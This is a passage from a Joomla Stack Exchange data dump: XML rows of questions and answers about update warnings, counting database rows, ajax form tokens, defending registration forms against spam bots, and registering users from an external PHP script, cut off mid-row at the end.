  <row Id="14057" PostTypeId="1" AcceptedAnswerId="14092" CreationDate="2015-10-26T16:43:22.813" Score="0" ViewCount="135" Body="&lt;p&gt;I got this warning when migrating Joomla from 3.4.4 to 3.4.5:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JFolder: :delete: Path is not a folder. Path:.../plugins/quickicon/eosnotify  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what it means?&lt;br&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5691" LastEditorUserId="5691" LastEditDate="2015-10-27T15:13:00.777" LastActivityDate="2015-10-27T22:03:21.030" Title="Miigrating 3.4.4 to 3.4.5 : warning JFolder: :delete: Path is not a folder. Path: /plugins/quickicon/eosnotify" Tags="|joomla-3.4|update|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14058" PostTypeId="2" ParentId="14054" CreationDate="2015-10-26T16:45:53.937" Score="0" Body="&lt;p&gt;From my understanding, there is no Joomla function that counts the rows in a table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's safe to say I do not understand &lt;code&gt;joins&lt;/code&gt; when writing queries, therefore I wrote the following instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count = array();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$db-&amp;gt;setQuery(&quot;SHOW TABLES LIKE '%password%'&quot;);&#xA;&#xA;$tables = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($tables as $table)&#xA;{&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;select('COUNT(id)')&#xA;          -&amp;gt;from($db-&amp;gt;qn($table));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $count[] = $db-&amp;gt;loadResult();&#xA;}&#xA;&#xA;return array_sum($count);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Gets all of the table names that match &lt;code&gt;password&lt;/code&gt; and returns an object&lt;/li&gt;&#xA;&lt;li&gt;Runs a &lt;code&gt;foreach&lt;/code&gt; loop querying all the tables and counting the number of ID's&lt;/li&gt;&#xA;&lt;li&gt;Each &lt;code&gt;foreach&lt;/code&gt; loop result gets added to the &lt;code&gt;$count&lt;/code&gt; array.&lt;/li&gt;&#xA;&lt;li&gt;Returns the sum of all the array values&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If anyone has a better approach, I'm all ears.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2018-08-06T08:55:53.023" LastActivityDate="2018-08-06T08:55:53.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14059" PostTypeId="1" CreationDate="2015-10-26T16:59:01.863" Score="2" ViewCount="560" Body="&lt;p&gt;I need either of these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a free plugin that allow me to notify a set of mails on a new k2 comment&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;which functions in which files and order of the K2 core are called when I publish a new comment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7163" LastEditorUserId="126" LastEditDate="2015-10-26T18:13:48.557" LastActivityDate="2016-06-09T01:24:59.387" Title="Email notifications on new K2 comment (Joomla 3)" Tags="|k2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14060" PostTypeId="1" CreationDate="2015-10-26T17:01:03.373" Score="7" ViewCount="2041" Body="&lt;p&gt;I've built a module that requests some data from the server via an ajax request. It includes the Joomla token to validate the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An odd thing is happening-- when I open Chrome and load the page, the module is populated correctly and the form token is validated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then open firefox to test, and the token validation fails-- but it's using the same token. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd assumed that the different browser would open a new session in Joomla and therefore get a new token. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the same token being issued in two different browser sessions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADDING MORE INFO:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The controller does the token check like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JSession::checkToken('get') or die( 'Invalid Token');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The view makes the ajax request using the token as a URL variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_mycomponent&amp;amp;format=raw&amp;amp;task=ajax.myTask&amp;amp;50e6a74276c578d2ebfc40fd526a193f=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The token is generated using an ajax call to another function that generates the token using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JFactory::getSession()-&amp;gt;getFormToken();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't great but it's the only way I've found to try to workaround Joomla's caching-- it tends to cache tokens generated in views when you need to embed them in ajax requests, so we request them from another service.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12352" LastEditDate="2019-11-16T22:50:40.580" LastActivityDate="2019-11-16T22:50:40.580" Title="Joomla token with ajax request" Tags="|joomla-3.x|ajax|form|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14061" PostTypeId="2" ParentId="14054" CreationDate="2015-10-26T17:13:48.233" Score="1" Body="&lt;p&gt;You can use SQL_CALC_FOUND_ROWS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first part you include SQL_CALC_FOUND_ROWS in your query followed by the columns you want to retrieve or * for all columns. Inmediatly after runing the query you have to retrieve SQL_CALC_FOUND_ROWS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO(); &#xA;$query = &quot;SELECT SQL_CALC_FOUND_ROWS * FROM #__your table&quot;;&#xA;$db-&amp;gt;setQuery( $query );&#xA;$rows = $db-&amp;gt;loadObjectList();  &#xA;&#xA;$db-&amp;gt;setQuery('SELECT FOUND_ROWS();');&#xA;$count  = $db-&amp;gt;loadResult() ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-10-26T17:13:48.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14062" PostTypeId="2" ParentId="14047" CreationDate="2015-10-26T18:11:48.807" Score="15" Body="&lt;h1&gt;Why I find fake/spam registered users in my site…?&lt;/h1&gt;&#xA;&lt;p&gt;The majority of such registrations are coming from &lt;strong&gt;botnets&lt;/strong&gt;, &lt;strong&gt;infected machines&lt;/strong&gt;, &lt;strong&gt;script kiddys&lt;/strong&gt; and generally all kind of bots.&lt;/p&gt;&#xA;&lt;p&gt;In systems like &lt;strong&gt;Joomla&lt;/strong&gt;, where the location of the user registration form is well known and by default public accessible, it's easy to start filling up and submitting the forms.&lt;br /&gt;&#xA;Actually in today's internet world, this is something that is happening continuously and in super-high volume in all kind of web-forms (forums, comments, contact forms, registration etc).&lt;/p&gt;&#xA;&lt;h2&gt;- Disable User Registration&lt;/h2&gt;&#xA;&lt;p&gt;There are a few ways to protect a Joomla site against such activities.&#xA;At first, if you don't need Users to register in your website, you could disable the &lt;strong&gt;User Registration&lt;/strong&gt;, in &lt;strong&gt;Users Configuration&lt;/strong&gt; (Users-&amp;gt;options-&amp;gt;Allow User Registration set to No).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Security enhancements Tips against Spamming your forms&lt;/h1&gt;&#xA;&lt;p&gt;In addition to this, or in the case you do actually need to have &lt;strong&gt;Users Registration enabled&lt;/strong&gt;, here are some techniques and suggestions to protect your various Joomla forms from spammers, spambots and hackers:&lt;/p&gt;&#xA;&lt;h2&gt;- Enable reCaptcha for user registration&lt;/h2&gt;&#xA;&lt;p&gt;Joomla comes with a native captcha plugin. You can find it inside Plugins, search for: &lt;strong&gt;Captcha - ReCaptcha&lt;/strong&gt;. Inside the plugin there are instructions on how to set it up. You will also need to obtain an API key from &lt;a href=&quot;https://www.google.com/recaptcha/&quot; rel=&quot;noreferrer&quot;&gt;https://www.google.com/recaptcha/&lt;/a&gt;.&lt;br /&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/How_do_you_use_Recaptcha_in_Joomla%3F&quot; rel=&quot;noreferrer&quot;&gt;Joomla Documentation on reCaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;- Redirect all registrations to Custom Registration form with hidden fields&lt;/h2&gt;&#xA;&lt;p&gt;There are many good &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;noreferrer&quot;&gt;Joomla form extensions&lt;/a&gt;&lt;/strong&gt; out there. Many of them provide integration for the user registration. You can build your own custom registration form and add 1 extra hidden field, with a validation against being completed, or by processing the &lt;code&gt;POST data&lt;/code&gt; of the form. Your users will never see the hidden field, but bots will try to complete this field as well - but then your validation will fail, or if you are processing the post data, you could redirect to a 403 Forbidden page.&#xA;For this solution to work completely you will need an extra plugin, that will handle redirection for all registrations to your custom form.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;- Joomla Antispam/Security Extensions&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;noreferrer&quot;&gt;Admin Tools&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;https://www.rsjoomla.com/joomla-extensions/joomla-security.html&quot; rel=&quot;noreferrer&quot;&gt;RS- Firewall&lt;/a&gt;&lt;/strong&gt; and there should be more... are extensions that provide thorough firewall protection against this and more security concerns. For example with the Admin Tools pro you can inject hidden fields in all existing forms of your Joomla site and block the IPs from where a submission is coming from. Futhermore Admin Tools provide integration with &lt;strong&gt;&lt;a href=&quot;https://www.projecthoneypot.org&quot; rel=&quot;noreferrer&quot;&gt;HoneyPot project&lt;/a&gt;&lt;/strong&gt; and GeoIP blocking features by country, among other features.&lt;/p&gt;&#xA;&lt;h3&gt;JED Links&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/spam-protection/&quot; rel=&quot;noreferrer&quot;&gt;Spam Protection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/site-security/&quot; rel=&quot;noreferrer&quot;&gt;Security&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;- Integrate &lt;a href=&quot;http://projecthoneypot.org/&quot; rel=&quot;noreferrer&quot;&gt;ProjectHoneyPot&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Http:BL&lt;/strong&gt; is a system that allows website administrators to take advantage of the data generated by Project Honey Pot in order to keep suspicious and malicious web robots off their sites. Project Honey Pot tracks harvesters, comment spammers, and other suspicious visitors to websites. Http:BL makes this data available to any member of &lt;a href=&quot;http://projecthoneypot.org/&quot; rel=&quot;noreferrer&quot;&gt;Project Honey Pot&lt;/a&gt; in an easy and efficient way.&lt;/p&gt;&#xA;&lt;p&gt;There are many software applications that provide ProjectHoneyPot integration. For Joomla some extensions are: &lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;noreferrer&quot;&gt;Admin Tools Pro&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;https://weeblr.com/joomla-seo-analytics-security/sh404sef&quot; rel=&quot;noreferrer&quot;&gt;sh404SEF&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;- ZBBlock.php by Spambotsecurity.com&lt;/h3&gt;&#xA;&lt;p&gt;Enhance the security of your Joomla application with this free php security script. It is designed to detect certain behaviors detrimental to websites, or known bad addresses attempting to access your site. It then will send the bad robot (usually) or hacker an authentic 403 FORBIDDEN page with a description of what the problem was. It's possible that you might have to make some custom signatures or sign.overrides to make it work exactly for your needs, but it is very effective.&#xA;&lt;a href=&quot;http://www.spambotsecurity.com/zbblock.php&quot; rel=&quot;noreferrer&quot;&gt;Spambotsecurity.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;- Prevent Posts that are not coming from your site in htaccess&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{REQUEST_METHOD} POST&#xA;RewriteCond %{HTTP_REFERER} !^http://www.yourwebsite.com [NC]&#xA;RewriteRule .* - [F]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And a reference to a blog post with more ways to blacklisting via htaccess and mod_rewrite. &lt;a href=&quot;https://perishablepress.com/eight-ways-to-blacklist-with-apaches-mod_rewrite/&quot; rel=&quot;noreferrer&quot;&gt;https://perishablepress.com/eight-ways-to-blacklist-with-apaches-mod_rewrite/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;- Mod_Security Web Application Firewall.&lt;/h2&gt;&#xA;&lt;p&gt;Well there are so many cool things that you can do on the server level, using mod_security (assuming it is installed on your server).&#xA;The topic is big and most likely out of the scope of this website. Also, many of the possibilities depend on your hosting type / environment, , so I will post some reference links with further information about mod_security.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/htaccess/modsecurity-htaccess-tricks.html&quot; rel=&quot;noreferrer&quot;&gt;Mod_Security htaccess&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.debuntu.org/how-to-prevent-spam-with-apaches-mod-security/&quot; rel=&quot;noreferrer&quot;&gt;Prevent Spam with Apache's mod_security&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;- Relative 3rd party software &amp;amp; general server security links&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cloudflare.com/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;CloudFlare&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sucuri.net/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Sucuri.net&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://projecthoneypot.org/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Project Honey Pot&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fail2ban.org/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Fail2Ban&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.stopthehacker.com/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Stop the Hacker&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitninja.io&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;BitNinja&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.owasp.org/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-24T19:38:48.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14063" PostTypeId="1" CreationDate="2015-10-26T18:35:40.323" Score="2" ViewCount="929" Body="&lt;p&gt;I have a external script for a web app connected to Joomla database&#xA;This is for user registration Source : &lt;a href=&quot;https://gist.github.com/AdamMadrzejewski/2581730241748da89798&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/AdamMadrzejewski/2581730241748da89798&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once __DIR__ . '/db_connect.php';&#xA;&#xA;$type = '0';&#xA;$username = 'username';&#xA;$password = 'pass';&#xA;$name = 'john';&#xA;$mobile = '9090909090';&#xA;$email = 'abc@gmail.com';&#xA;$alias = strtr($name, array (' ' =&amp;gt; '-'));&#xA;&#xA;&#xA;&#xA; define( '_JEXEC', 1 );&#xA; define('JPATH_BASE', dirname(__FILE__) );&#xA; define( 'DS', DIRECTORY_SEPARATOR );&#xA;&#xA; require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA; require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA; $app = JFactory::getApplication('site');&#xA; $app-&amp;gt;initialise();&#xA;&#xA;&#xA;&#xA; require_once(JPATH_BASE.DS.'components'.DS.'com_users'.DS.'models'.DS.'registration.php');&#xA;&#xA;&#xA; $lang = JFactory::getLanguage();&#xA;    $extension = 'com_users';&#xA;    $base_dir = JPATH_SITE;&#xA;    $language_tag = 'en-GB';&#xA;    $reload = true;&#xA;    $lang-&amp;gt;load($extension, $base_dir, $language_tag, $reload);&#xA;&#xA; $model = new UsersModelRegistration();&#xA; jimport('joomla.mail.helper');&#xA; jimport('joomla.user.helper');&#xA;&#xA;&#xA;&#xA;&#xA; $block = '0';&#xA; $sendEmail = '0';&#xA; $activation = '1';&#xA; $data = array( 'username' =&amp;gt; $username,&#xA; 'name' =&amp;gt; $name,&#xA; 'email1' =&amp;gt; $email,&#xA; 'password1' =&amp;gt; $password, // First password field&#xA; 'password2' =&amp;gt; $password, // Confirm password field&#xA; 'sendEmail' =&amp;gt; $sendEmail,&#xA; 'activation' =&amp;gt; $activation,&#xA; 'mobile' =&amp;gt; $mobile,&#xA; 'groups' =&amp;gt;array(&quot;2&quot;,&quot;10&quot;));&#xA;  $response = $model-&amp;gt;register($data);&#xA;  echo $data['mobile'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Expected result is store all the values including a custom field called 'mobile'&#xA;in #__users table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it stores all the values except for mobile&#xA;I have added declared the variable &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mobile = null; // line 60 at root/libraries/joomla/user/user.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding value at com_users/models/forms/registration.xml doesn't help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;        name=&quot;mobile&quot;&#xA;        type=&quot;text&quot;&#xA;        description=&quot;COM_USERS_DESIRED_USERNAME&quot;&#xA;        filter=&quot;mobile&quot;&#xA;        label=&quot;COM_USERS_REGISTER_USERNAME_LABEL&quot;&#xA;        message=&quot;COM_USERS_REGISTER_USERNAME_MESSAGE&quot;&#xA;&#xA;        size=&quot;30&quot;   /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But somehow it doesnt store only mobile value in the table &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am i going wrong ?&#xA;This code calls the function com_users/models/registration.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function register() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where exactly should I modify to add the value 'mobile'?&#xA;Appreciate the help!&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="3650" LastEditDate="2016-03-08T00:45:30.470" LastActivityDate="2017-08-01T07:33:14.137" Title="External Script for adding Joomla User is not adding custom field" Tags="|joomla-3.x|user|registration|external-script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14064" PostTypeId="2" ParentId="14059" CreationDate="2015-10-26T18:38:53.187" Score="2" Body="&lt;p&gt;I have found a solution, that may be useful to other.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a plugin can help: &quot;BNR Comment Notify for K2&quot; but is not free&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another way is to hack the K2 files, specifically you are interested in &quot;yoursite/components/com_k2/models/item.php&quot; then you should go to comment() function and then modify it using Joomla's object, for the mail, more details here: &lt;a href=&quot;https://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow&quot;&gt;Joomla docs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7163" LastActivityDate="2015-10-26T18:38:53.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14065" PostTypeId="2" ParentId="14032" CreationDate="2015-10-26T20:20:42.660" Score="1" Body="&lt;p&gt;As far as I know this is a Xdebug limitation and it should no longer occur in the most recent Xdebug version (at the time of this writing &#xA;[2015-06-19] — Xdebug 2.3.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if updating Xdebug brought any improvement.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-10-26T20:20:42.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14067" PostTypeId="2" ParentId="13938" CreationDate="2015-10-26T21:36:25.420" Score="0" Body="&lt;p&gt;There is a lot of information on this website &lt;a href=&quot;http://massivescale.net/varnish-joomla.html&quot; rel=&quot;nofollow&quot;&gt;http://massivescale.net/varnish-joomla.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They say that a plugin cannot solve this issue due to the way the Joomla! core is written.  They do however offer some sort of a hack on their site for £70.  I would be weary of using it on a site with a lot of add-ons.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEBLOD is based on the core content component so may be alright.  I would check other plugins individually, and if you have problems turn them off one at a time.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2015-10-26T21:36:25.420" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14068" PostTypeId="1" AcceptedAnswerId="14105" CreationDate="2015-10-26T21:43:19.637" Score="1" ViewCount="251" Body="&lt;p&gt;I have created a site and used &lt;strong&gt;SEBLOD&lt;/strong&gt; to create some custom content (a restaurant menu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure where to find the content that gets saved, and searching PHP MyAdmin hasn't really helped me at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is causing my next problem, where to find the content so I can call it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content does appear in the front end, so it is getting saved somewhere.  What I really want to do is only call content based on the results of a certain field.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-02-25T15:35:27.837" Title="How to show only certain items in SEBLOD" Tags="|joomla-3.x|seblod|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14069" PostTypeId="2" ParentId="13485" CreationDate="2015-10-26T22:18:02.420" Score="3" Body="&lt;p&gt;As well as finding it in &lt;strong&gt;Components &gt;&gt; K2 &gt;&gt; Items &gt;&gt; Click in article item &gt;&gt; Tab &quot;Meta data information&quot;&lt;/strong&gt;. as mentioned in the other answer, you should also understand some other places where the meta data could appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3MoJQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3MoJQ.jpg&quot; alt=&quot;K2 Items Meta Description&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! is a &lt;strong&gt;menu based CMS&lt;/strong&gt;, and as such the menu item takes precedent when choosing Meta Tile and Meta Description.  &lt;em&gt;If you have a menu item that links to the k2 article it will override the K2 Meta Title and Meta Description&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find these items under &lt;strong&gt;Menus&lt;/strong&gt; &gt; &lt;strong&gt;Click on the Menu Item&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gv4e7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gv4e7.png&quot; alt=&quot;Menu Items - Link Type&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DghPT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DghPT.png&quot; alt=&quot;Menu Items - Meta Description&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iq1OZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iq1OZ.png&quot; alt=&quot;Browser Page Title&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can also effect your meta settings in the Global Configuration.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these items should be carefully filled in, taking care to avoid keyword stuffing, being aware of where they appear on Google (the page title is the blue link, the meta description is the text below the link).  Consider how they will affect users, whether they will encourage click throughs, and whether they contain your keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pd9DH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pd9DH.png&quot; alt=&quot;Global Configuration - Meta Description&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2015-10-29T11:23:18.887" LastActivityDate="2015-10-29T11:23:18.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14070" PostTypeId="2" ParentId="14063" CreationDate="2015-10-26T22:24:54.013" Score="1" Body="&lt;p&gt;The following testcode works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;/* Required Files */&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'defines.php');&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'framework.php');&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;require_once(JPATH_BASE . DS . 'components' . DS . 'com_users' . DS . 'models' . DS . 'registration.php');&#xA;//not necessary&#xA;//require_once(JPATH_BASE.DS.'libraries'.DS.'joomla'.DS.'application'.DS.'component'.DS.'helper.php';&#xA;&#xA;$model = new UsersModelRegistration();&#xA;jimport('joomla.mail.helper');&#xA;jimport('joomla.user.helper');&#xA;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_users', JPATH_SITE);&#xA;$type       = '0';&#xA;$username   = 'username';&#xA;$password   = 'pass';&#xA;$name       = 'john';&#xA;$mobile     = '9090909090';&#xA;$email      = 'abc@gmail.com';&#xA;$alias      = strtr($name, array(' ' =&amp;gt; '-'));&#xA;$username   = 'adam';&#xA;$name       = 'adam24';&#xA;$email      = 'adam@mailinator.com';&#xA;$password   = 'adam';&#xA;$block      = '0';&#xA;$sendEmail  = '0';&#xA;$activation = '1';&#xA;$data       = array('username'   =&amp;gt; $username,&#xA;            'name'       =&amp;gt; $name,&#xA;            'email1'     =&amp;gt; $email,&#xA;            'password1'  =&amp;gt; $password, // First password field&#xA;            'password2'  =&amp;gt; $password, // Confirm password field&#xA;            'sendEmail'  =&amp;gt; $sendEmail,&#xA;            'activation' =&amp;gt; $activation,&#xA;            'mobile'     =&amp;gt; $mobile,&#xA;            'groups'     =&amp;gt; array(&quot;2&quot;, &quot;10&quot;));&#xA;$response   = $model-&amp;gt;register($data);&#xA;echo $data['mobile'];&#xA;&#xA;echo $model-&amp;gt;register($data);&#xA;if (version_compare(PHP_VERSION, '5.3.1', '&amp;lt;')) {&#xA;    die('Your host needs to use PHP 5.3.1 or higher to run this version of Joomla!');&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!-- db result --&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;id&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;name&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;username&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;email&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;password&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;block&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;sendEmail&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;registerDate&amp;lt;/th&amp;gt;&#xA;    